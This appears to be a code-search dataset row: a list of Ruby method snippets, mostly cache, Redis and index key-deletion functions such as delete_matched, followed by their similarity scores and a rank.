|
[
"def delete_matched(matcher, options = nil)\n options = merged_options(options)\n instrument(:delete_matched, matcher.inspect) do\n failsafe(:read_multi, returning: false) do\n matcher = key_matcher(matcher, options)\n begin\n with do |store|\n !(keys = store.keys(matcher)).empty? && store.del(*keys)\n end\n end\n end\n end\n end",
"def delete_matched(matcher, options = nil) # :nodoc:\n options = merged_options(options)\n response = instrument(:delete_matched, matcher.inspect) do\n matcher = key_matcher(matcher, options)\n @data.keys(matcher).each { |key| @data.del key }\n end\n rescue => e\n logger.error(\"Error calling delete_matched on redis: #{e}\") if logger\n nil\n end",
"def delete_matched(matcher, options = nil)\n @redis.keys(\"#{VALUE_PREF}_*\").map{|key| key[(VALUE_PREF.size + 1)..-1] }.grep(matcher).each do |key| \n delete_entry(key, options)\n end.size\n end",
"def delete_matched(matcher, options = nil)\n key = expand_key(matcher)\n\n begin\n @gibson.mdel key\n rescue\n 0\n end\n end",
"def delete_matched(matcher, options = nil)\n raise NotImplementedError.new(\"#{self.class.name} does not support delete_matched\")\n end",
"def delete_matched(matcher, options = T.unsafe(nil)); end",
"def delete_matched(pattern, options = {})\n namespaced = namespaced_key(pattern, merged_options(options))\n\n invoke(:delete, pattern) do |store|\n cursor = nil\n count = options.fetch(:count, 1000)\n deleted = 0\n\n until cursor == '0'\n cursor, matched = store.scan(cursor || 0, match: namespaced, count: count)\n\n if matched.any?\n store.del(*matched)\n deleted += matched.length\n end\n end\n\n deleted\n end\n end",
"def delete_re(pattern, &hndlr)\n @j_del.deleteWithRegEx(pattern) { |j_req| hndlr.call(HttpServerRequest.new(j_req)) }\n end",
"def delete_all_snapshot(regex)\n @admin.deleteSnapshots(Pattern.compile(regex)).to_a\n end",
"def delete(pattern) \n Klass.removeKey(@handle, (pattern.kind_of?(Regexp) ? pattern.source : pattern.to_s))\n true\n end",
"def del(pattern = SCAN_PATTERN, count = 0, dry_run = true)\n raise ArgumentError, 'Please provide a number of keys to delete greater than zero' if count.zero?\n pattern = \"#{pattern}:*\" unless pattern.end_with?(':*')\n\n logger.debug { \"Deleting keys by: #{pattern}\" }\n keys, time = timed { keys(pattern, count) }\n logger.debug { \"#{keys.size} matching keys found in #{time} sec.\" }\n keys = dry_run(keys)\n logger.debug { \"#{keys.size} matching keys after post-processing\" }\n unless dry_run\n logger.debug { \"deleting #{keys}...\" }\n _, time = timed { batch_delete(keys) }\n logger.debug { \"Deleted in #{time} sec.\" }\n end\n keys.size\n end",
"def delete_course_templates_by_regex(regex); end",
"def delete_table_snapshots(tableNameRegex, snapshotNameRegex = '.*')\n @admin.deleteTableSnapshots(Pattern.compile(tableNameRegex),\n Pattern.compile(snapshotNameRegex)).to_a\n end",
"def delete_matched\n raise NotImplementedError, \"#{self.class} does not support delete_matched\"\n end",
"def search_file_delete(regex)\n search_match(regex, \" \", 'd', 2)\n end",
"def exclude_all(regexp)\n @file_table.to_hash.delete_if do |file|\n file.match(Regexp.new(regexp))\n end\n return @file_table\n end",
"def all_re(pattern, &hndlr)\n @j_del.allWithRegEx(pattern) { |j_req| hndlr.call(HttpServerRequest.new(j_req)) }\n end",
"def clear\n set_hash.each { |regexp, hash| hash.clear }\n end",
"def delete_by(wildcard)\n redis.keys(wildcard).each do |key|\n redis.del(key)\n end\nend",
"def delete_all\n Neo.db.execute_query(\"#{initial_match} OPTIONAL MATCH (n0)-[r]-() DELETE n0,r\")\n end",
"def key_matcher(pattern, options); end",
"def put_re(pattern, &hndlr)\n @j_del.putWithRegEx(pattern) { |j_req| hndlr.call(HttpServerRequest.new(j_req)) }\n end",
"def delete!( *regexps )\n case regexps[0]\n when :paths\n @paths.delete_if { |regexp, paths| regexps.include? regexp }\n when :files\n @files.delete_if { |regexp, files| regexps.include? regexp }\n when Symbol\n raise( \"Invalid symbol option '#{first.inspect}'. \" +\n \"Expected :paths or :files.\" )\n else\n @paths.delete_if { |regexp, paths| regexps.include? regexp }\n @files.delete_if { |regexp, files| regexps.include? regexp }\n end\n self\n end",
"def delete_unknown\n Jhead.call(\"-du\", @match, @pattern)\n end",
"def del\n redis do |conn|\n conn.multi do |pipeline|\n pipeline.zrem(DIGESTS, key.digest)\n pipeline.del(key.digest, key.queued, key.primed, key.locked, key.info)\n end\n end\n end",
"def delete(pattern, &hndlr)\n @j_del.delete(pattern) { |j_req| hndlr.call(HttpServerRequest.new(j_req)) }\n end",
"def search_file_delete_line(regex)\n search_match(regex, \" \", 'd', 1)\n end",
"def delete(*args)\n if args.blank?\n raise \"Using delete with no args is not allowed. Please use delete_all to delete all records\"\n end\n keys = find_keys(*args)\n self.store.delete_keys(keys)\n end",
"def delete_row filename, pattern = nil\n d = _read filename\n if pattern\n d.delete_if { |row| row =~ pattern }\n else\n d.delete_if { |row| yield row }\n end\n _write filename, d\n end",
"def delete_matches(to_delete, array)\n to_delete = to_delete.reverse # so indexes don't shift down as items are being deleted\n to_delete.each do |num|\n array.delete_at(num)\n end\n array\n end",
"def match(regex)\n @ini.dup.delete_if { |section, _| section !~ regex }\n end",
"def clear\n @redis.delete_matched(\"#{@key}:*\")\n end",
"def match( regex )\n @ini.dup.delete_if { |section, _| section !~ regex }\n end",
"def key regex\n @grpc.row_key_regex_filter = regex\n self\n end",
"def remove_parameter(matcher)\n @tree.data.reject!(&matcher)\n end",
"def delete_pattern(pattern_)\n @mutex.synchronize do\n raise ConfigurationLockedError if @locked\n if (patdata_ = @patterns.delete(pattern_))\n type_ = patdata_[0]\n typedata_ = @types[type_]\n typedata_.delete(pattern_)\n @types.delete(type_) if typedata_.empty?\n end\n end\n self\n end",
"def accept!(*key_list)\n intersection = keys - key_list\n intersection.each{ |key| delete(key) }\n self\n end",
"def delete_all_rows\n scan.each do |row|\n delete_row(row['key'])\n end\n end",
"def delete_iptc\n Jhead.call(\"-di\", @match, @pattern)\n end",
"def clear(_options = nil)\n # TODO: Support namespaces\n @client.delete_by_query index: @index_name, type: 'entry', body: { query: { match_all: {} } }\n end",
"def delete_all\n self.store.delete_keys(find_keys)\n end",
"def delete(*keys)\n multi do\n keys.each do |k|\n @hash.delete(k)\n @index.delete(k)\n end\n end\n nil\n end",
"def all(pattern, &hndlr)\n @j_del.all(pattern) { |j_req| hndlr.call(HttpServerRequest.new(j_req)) }\n end",
"def delete_entry(key, **options); end",
"def db_remove\n \"DELETE\" + from_table_where + sql_match_conditions\n end",
"def reindex_by_regexp(pattern=/\\r?\\n/, options={})\n options = {\n :range_or_span => nil,\n :blksize => 8388608,\n :carryover_limit => 8388608\n }.merge(options)\n \n reset_index do |io, index|\n span = options[:range_or_span] || io.default_span\n blksize = options[:blksize]\n carryover_limit = options[:carryover_limit]\n\n io.scan(span, blksize, carryover_limit) do |scan_pos, string|\n scanner = StringScanner.new(string)\n while advanced = scanner.search_full(pattern, true, false)\n break unless advanced > 0\n \n index << [scan_pos, advanced]\n scan_pos += advanced \n end\n \n # allow a blockfor monitoring\n yield if block_given?\n scanner.rest_size\n end\n end\n end",
"def delete(key); end",
"def delete(key); end",
"def delete(key); end",
"def delete(key); end",
"def delete(key); end",
"def delete_by(params, request_options = {})\n raise ArgumentError.new('params cannot be nil, use the `clear` method to wipe the entire index') if params.nil?\n params = sanitized_delete_by_query_params(params)\n client.post(Protocol.delete_by_uri(name), params.to_json, :write, request_options)\n end",
"def rm(*args)\n helper.glob_to_index(args) do |index, relative_path, realpath|\n index.remove(relative_path.to_s)\n realpath.delete\n end\n\n self\n end",
"def del(*keys); end",
"def delete_class(klass)\n raise \"please use a Class type for the klass argument\" unless klass.is_a?(Class)\n\n deleted = {}\n map.each do |key, matchers|\n deleted_matchers = []\n matchers.delete_if do |matcher|\n # because matcher[:klass] may be a string (which needs to die), coerce both to strings to compare somewhat canonically\n if matcher[:klass].to_s == klass.to_s\n deleted_matchers << matcher\n true\n end\n end\n deleted[key] = deleted_matchers unless deleted_matchers.empty?\n map.delete(key) if matchers.empty?\n end\n deleted\n end",
"def delete( *regexs )\n self.dup.delete!( *regexs )\n end",
"def options_re(pattern, &hndlr)\n @j_del.optionsWithRegEx(pattern) { |j_req| hndlr.call(HttpServerRequest.new(j_req)) }\n end",
"def destroy\n @clan_match.destroy\n\n head :no_content\n end",
"def hdel(key, *fields); end",
"def clear_cache_like *keys\n keys.each do |key|\n if key.is_a? Array\n cache_pool.keys.each do |k|\n k.is_a?(Array) &&\n k.size >= key.size &&\n k.slice(0, key.size) == key &&\n cache_pool.delete(k)\n end\n elsif key.is_a? Regexp\n cache_pool.keys.each do |k|\n (\n (k.is_a?(String) && k =~ key) ||\n (k.is_a?(Symbol) && k.to_s =~ key) \n ) && cache_pool.delete(k)\n end\n else\n raise \"#%s only accepts arrays and regexps\" % __method__\n end\n end\n end",
"def remove(*args)\n matcher = Matchers::NotMatcher.new(Matchers::Extract.new(*args))\n add_matcher(matcher)\n end",
"def recalculate_matches\n Match.destroy_all\n\n self.matches.each do |match_str|\n Match.parse(match_str)\n end\n end",
"def delete_all_keys_except(hash_record, except_array = [])\n hash_record.select do |key|\n except_array.include?(key)\n end\n end",
"def remove_line(match)\n func = nil\n\n if match.is_a?(Regexp)\n func = Proc.new { |x| x =~ match }\n else\n func = Proc.new { |x| x.index(match) }\n end\n\n lines = []\n modified = false\n\n open do |f|\n all_lines = f.readlines\n\n for line in all_lines\n unless func.call(line)\n lines << line\n end\n end\n\n if all_lines.size != lines.size\n modified = true\n end\n end\n\n if modified\n # TODO copy original file to backup store\n\n write do |f|\n f.write lines.join\n end\n end\n\n modified\n end",
"def delete_text_indexes(*fields)\n fields = self.class.text_indexes.keys if fields.empty?\n fields.each do |field|\n del_indexes = text_indexes_for(field)\n exec_pipelined_index_cmd(:srem, del_indexes)\n redis.del field_key(\"#{field}_indexes\")\n end\n end",
"def delete(account)\n matches = @db.find(account)\n count = 0\n matches.each do |match|\n hsay \"-\" * 40, :separator_bar\n hsay match, :normal\n hsay \"-\" * 40, :separator_bar\n\n if hagree \"Delete this entry (y/n) ?\" then\n @db.delete(match)\n count += 1\n end\n end\n hsay \"#{count} records matching '#{account}' deleted.\", :information\n end",
"def delete\n redis.eval(LUA_SCRIPT_DELETE, :keys => [build_key('*')])\n end",
"def delete_rows_by_prefix prefix, timeout: nil\n drop_row_range row_key_prefix: prefix, timeout: timeout\n end",
"def delete_all!\n delete(query: \"*:*\")\n end",
"def delete_from_index\n SearchIndex.delete_record(self)\n end",
"def delete_from_index\n SearchIndex.delete_record(self)\n end",
"def delete_key_statement(opts)\n opts = check_params(opts,[:statement_names])\n super(opts)\n end",
"def filter_keys(data, *expected_keys)\n excess_keys = data.keys - expected_keys\n excess_keys.each do |key|\n data.delete(key)\n end\n return data\nend",
"def trigger_block_for_matching\n active_patterns = @active_buffers.keys\n active_patterns.each do |pattern|\n if JsonPath.matches?(@key_path, pattern)\n debug \"<< Calling trigger for '#{pattern}' when at #{@key_path}\"\n @triggers[pattern].call @active_buffers[pattern]\n if pattern[-3..3] == '[*]'\n @active_buffers[pattern] = ''\n debug \"Clearing buffer for '#{pattern}'\"\n else\n @active_buffers.delete(pattern)\n debug \"Stopping buffer for '#{pattern}'\"\n end\n end\n end\n end",
"def patch_re(pattern, &hndlr)\n @j_del.patchWithRegEx(pattern) { |j_req| hndlr.call(HttpServerRequest.new(j_req)) }\n end",
"def delete_thumbnails\n Jhead.call(\"-dt\", @match, @pattern)\n end",
"def key_matcher(pattern, options) # :doc:\n prefix = options[:namespace].is_a?(Proc) ? options[:namespace].call : options[:namespace]\n if prefix\n source = pattern.source\n if source.start_with?(\"^\")\n source = source[1, source.length]\n else\n source = \".*#{source[0, source.length]}\"\n end\n Regexp.new(\"^#{Regexp.escape(prefix)}:#{source}\", pattern.options)\n else\n pattern\n end\n end",
"def destroy_records(klass, count)\n RecordCountChangeMatcher.new.for(klass).by(-count)\n end",
"def delete_at(index)\n len = count\n values = @@redis.lrange(namespaced_key, 0, len-1)\n @@redis.multi do\n new_values = []\n\n values.each_with_index do |value, i|\n new_values << value unless i == index\n end\n\n @@redis.del(namespaced_key)\n new_values.each do |value|\n @@redis.rpush(namespaced_key, value)\n end\n end\n end",
"def delete_by_query(query, params = nil, request_options = {})\n raise ArgumentError.new('query cannot be nil, use the `clear` method to wipe the entire index') if query.nil? && params.nil?\n params = sanitized_delete_by_query_params(params)\n\n params[:query] = query\n params[:hitsPerPage] = 1000\n params[:distinct] = false\n params[:attributesToRetrieve] = ['objectID']\n params[:cursor] = ''\n ids = []\n\n while params[:cursor] != nil\n result = browse(params, nil, request_options)\n\n params[:cursor] = result['cursor']\n\n hits = result['hits']\n break if hits.empty?\n\n ids += hits.map { |hit| hit['objectID'] }\n end\n\n delete_objects(ids, request_options)\n end",
"def select_by_key_regexp(h, regexp)\n h.select { |key, value| key.to_s.match(regexp) }\n end",
"def delete_indices(group_name, keys)\n self.class.connection.execute \"DELETE FROM #{index_table_name(group_name)} WHERE #{index_reader_sql(group_name)} AND #{KEY} IN (#{keys.map{|key| connection.quote(key)}.join(',')})\"\n end",
"def expire_match(key)\n #files = Dir.glob(@config[:cache_directory] / \"#{key}*.cache\")\n files = Dir.glob(@config[:cache_directory] / \"#{key}*\")\n FileUtils.rm_rf(files)\n Merb.logger.info(\"cache: expired matching (#{key})\")\n true\n end",
"def delete(_url)\n # do nothing since we can't find the key by url\n end",
"def delete_all\n refresh_index!\n Elasticsearch::Persistence.client.delete_by_query(\n index: alias_name,\n conflicts: :proceed,\n body: { query: { match_all: {} } }\n )\n end",
"def head_re(pattern, &hndlr)\n @j_del.headWithRegEx(pattern) { |j_req| hndlr.call(HttpServerRequest.new(j_req)) }\n end",
"def clear(opts = {}) \n save(setup_commit_options({:message => \"all clear\"}.merge(opts))) do |index|\n if tree = index.current_tree\n tree.contents.each do |entry|\n index.delete(key_for(entry.name))\n end\n end\n end\n end",
"def clear(opts = {}) \n save(setup_commit_options({:message => \"all clear\"}.merge(opts))) do |index|\n if tree = index.current_tree\n tree.contents.each do |entry|\n index.delete(key_for(entry.name))\n end\n end\n end\n end",
"def call\n return log_info(\"Nothing to delete; exiting.\") if digests.none?\n\n log_info(\"Deleting batch with #{digests.size} digests\")\n return batch_delete(conn) if conn\n\n redis { |rcon| batch_delete(rcon) }\n end",
"def search pattern\n\t\tresults = all.map {|key|\n\t\t\tkey if key.to_s =~ /#{pattern}/i\n\t\t}\n\t\tresults.delete nil\n\t\tresults\n\tend",
"def delete!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 45 )\n\n type = DELETE\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 166:10: 'delete'\n match( \"delete\" )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 45 )\n\n end",
"def cache_delete(*keys)\n if keys\n keys.each do |key|\n record = @store[:key => namespaced(key)]\n record.delete if record \n end\n end\n end",
"def delete_old_indices\n existing_indices = client.indices.get(index: '_all')\n\n @logger.debug(\"Existing indexes: #{existing_indices.keys}\")\n\n index_keys.each do |index|\n keys = existing_indices.keys.select { |k| k.include?(index.to_s) }.sort\n keys_by_date = keys.group_by { |k| key_age(k) }\n keys_to_delete = []\n\n # delete all indexes, keeping one from each day for the last few days\n keys_by_date.each do |age, key_list|\n key_list.pop if age <= MAX_INDEX_AGE\n keys_to_delete += key_list\n end\n\n unless keys_to_delete.empty?\n @logger.debug(\"Deleting indexes #{keys_to_delete.join(', ')}\")\n client.indices.delete index: keys_to_delete\n end\n end\n end",
"def delete_all(key)\n raise ArgumentError if key.blank?\n\n count = 0\n @redis.keys(\"#{key}*\").each do |k|\n count += @redis.del k\n end\n\n count.positive?\n end",
"def delete_key(key)\n end",
"def shell_registry_deletekey(key, view)\n key = normalize_key(key)\n # REG DELETE KeyName [/v ValueName | /ve | /va] [/f]\n shell_registry_cmd_result(\"delete \\\"#{key}\\\" /f\", view)\n end",
"def my_hash_deletion_method(source, thing_to_delete)\n\tsource.delete_if {|key, value| key.to_s.include?(thing_to_delete)}\nend",
"def remove_from_index(name, key); end",
"def remove_records(messages)\n clause = deleted_query(messages)\n\n clause.delete_all\n end",
"def transform_keys!\n return enum_for(:transform_keys!) { size } unless block_given?\n keys.each do |key|\n self[yield(key)] = delete(key)\n end\n self\n end"
] |
[
"0.7052915",
"0.6985551",
"0.6913937",
"0.68575263",
"0.6547291",
"0.65195936",
"0.6311247",
"0.58905625",
"0.57763535",
"0.57760274",
"0.569831",
"0.5563897",
"0.5508622",
"0.5440013",
"0.53916997",
"0.52703464",
"0.5154937",
"0.5077251",
"0.5032267",
"0.50318426",
"0.5008738",
"0.5005069",
"0.50000584",
"0.49686274",
"0.49495658",
"0.49219418",
"0.492065",
"0.4700368",
"0.4681783",
"0.46742773",
"0.462434",
"0.4598991",
"0.45804107",
"0.45729893",
"0.4552125",
"0.45459056",
"0.45271233",
"0.4526664",
"0.4494823",
"0.44944692",
"0.4473535",
"0.44714138",
"0.4450823",
"0.44471785",
"0.444202",
"0.44376633",
"0.4374395",
"0.4374395",
"0.4374395",
"0.4374395",
"0.4374395",
"0.4372919",
"0.43575552",
"0.4351852",
"0.43513975",
"0.43487504",
"0.4348098",
"0.43401632",
"0.43378943",
"0.4337626",
"0.4333052",
"0.4330131",
"0.43256694",
"0.43216848",
"0.43120205",
"0.42983833",
"0.4283105",
"0.4281751",
"0.4256968",
"0.42543346",
"0.42543346",
"0.4239868",
"0.42323565",
"0.42226174",
"0.42065868",
"0.420047",
"0.42000753",
"0.41944158",
"0.41933006",
"0.41797137",
"0.41748333",
"0.41703746",
"0.41541123",
"0.4149266",
"0.4136374",
"0.4136144",
"0.41331577",
"0.41331577",
"0.41299272",
"0.41298264",
"0.4128003",
"0.41244087",
"0.41234618",
"0.41216835",
"0.4117494",
"0.4115213",
"0.41112453",
"0.4108243",
"0.4103515",
"0.40984264"
] |
0.7410343
|
0
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.